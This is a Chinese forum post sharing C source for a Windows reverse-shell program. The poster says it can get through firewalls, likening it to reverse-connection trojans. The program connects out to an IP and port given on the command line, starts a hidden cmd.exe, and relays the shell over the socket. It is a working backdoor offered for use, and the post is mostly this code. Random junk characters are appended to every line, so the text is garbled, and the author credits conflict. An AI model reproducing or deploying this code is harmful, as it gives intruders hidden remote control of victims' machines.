社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4272阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -"JE-n  
n4d(`  
/* ============================== ~BYEeUo;%v  
Rebound port in Windows NT 3 z/O`z  
By wind,2006/7 ?'$. -z:  
===============================*/ N(({2'Rr  
#include +[l{C+p  
#include I}Gl*@K&O  
)*L?PT  
#pragma comment(lib,"wsock32.lib") 0,D9\ Ebd  
@}rfY9o'  
void OutputShell(); 1 FIiX  
SOCKET sClient; {*]= qSz  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; '?!<I  
T?}=k{C]  
void main(int argc,char **argv) =L; n8~{@y  
{ DkMC!Q\  
WSADATA stWsaData; 4#Nd;gM2  
int nRet; GPhwq n{  
SOCKADDR_IN stSaiClient,stSaiServer; [r< Y0|l,m  
V{aIhH>P  
if(argc != 3) }y=n#%|i.  
{ P@T $6%~  
printf("Useage:\n\rRebound DestIP DestPort\n"); /7HIL?r  
return; fO}1(%}d  
} W,oV$ s^  
wCEfR!i  
WSAStartup(MAKEWORD(2,2),&stWsaData); +VI0oo {Z  
v_ F?x!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {~p %\  
x?k |i}Q  
stSaiClient.sin_family = AF_INET; bA9dbe  
stSaiClient.sin_port = htons(0); w!Lb;4x ?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8w@jUGsc  
l=OC?d*m  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >a] s  
{ H-y-7PW*~  
printf("Bind Socket Failed!\n"); oO9iB:w  
return; Q]koj!mMl  
} @m d^mss  
6nk|*HPz  
stSaiServer.sin_family = AF_INET; E rymx$@P  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i~PZvxt  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %RF   
BO cEL%+  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )UU6\2^  
{ vH:+  
printf("Connect Error!"); KB-#):'  
return; HQ#L |LN  
} gRd1(S  
OutputShell(); 7^}Z%c  
} |P?B AWYeQ  
-`<N,  
void OutputShell() X/D9%[{&  
{ HE .Dl7 {  
char szBuff[1024]; v?'k)B  
SECURITY_ATTRIBUTES stSecurityAttributes; |8?{JKsg  
OSVERSIONINFO stOsversionInfo; ,T>2zSk  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (HgdmN%  
STARTUPINFO stStartupInfo; sU3V)7"  
char *szShell; Yy:sZJ  
PROCESS_INFORMATION stProcessInformation; [~H`9Ab=  
unsigned long lBytesRead; 3mn-dKe((  
$R}iL  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Y7I  
.c K  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =:}DD0o*  
stSecurityAttributes.lpSecurityDescriptor = 0; 97 X60<  
stSecurityAttributes.bInheritHandle = TRUE; 6B P%&RL  
O*"wQ50Ou  
%[F;TZt  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6*oTT(0<p  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IaqN@IlWb  
6E%k{ r  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .:Xe*Q  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *wl_8Sis}  
stStartupInfo.wShowWindow = SW_HIDE; r,@|Snv)  
stStartupInfo.hStdInput = hReadPipe; t#Yh!L6>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {.'g!{SHp  
E*]L]vR  
GetVersionEx(&stOsversionInfo); :EAfD(D{)  
BiAcjN:Z  
switch(stOsversionInfo.dwPlatformId) 3gXUfv2ID  
{ #3jZ7RqzQ  
case 1: HUX+d4sg  
szShell = "command.com"; 'n`$c{N<tM  
break; , Vr6  
default: w0OK. fj  
szShell = "cmd.exe"; obkv ]~  
break; a'.=.eDQ  
} \shoLp   
~oyPmIcb  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W| eG}`  
Hd}t=6  
send(sClient,szMsg,77,0); D#(L@ {vC  
while(1) K_Gf\x  
{ @y%qQe/g  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PltPIu)F  
if(lBytesRead) uB9+E%jOdQ  
{ G!Q)?N    
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c'4 \F9  
send(sClient,szBuff,lBytesRead,0); x?$Y<=vT  
} #rC+13  
else P=i |{vv(  
{ :~(^b;yhZ  
lBytesRead=recv(sClient,szBuff,1024,0); ZACn_gd[5  
if(lBytesRead<=0) break; K1yM'6 Zw  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6!V* :.(  
} 0;`PHNBq  
} +1A<kJ  
,*#M%Pv1t  
return; z(a:fL{/XG  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五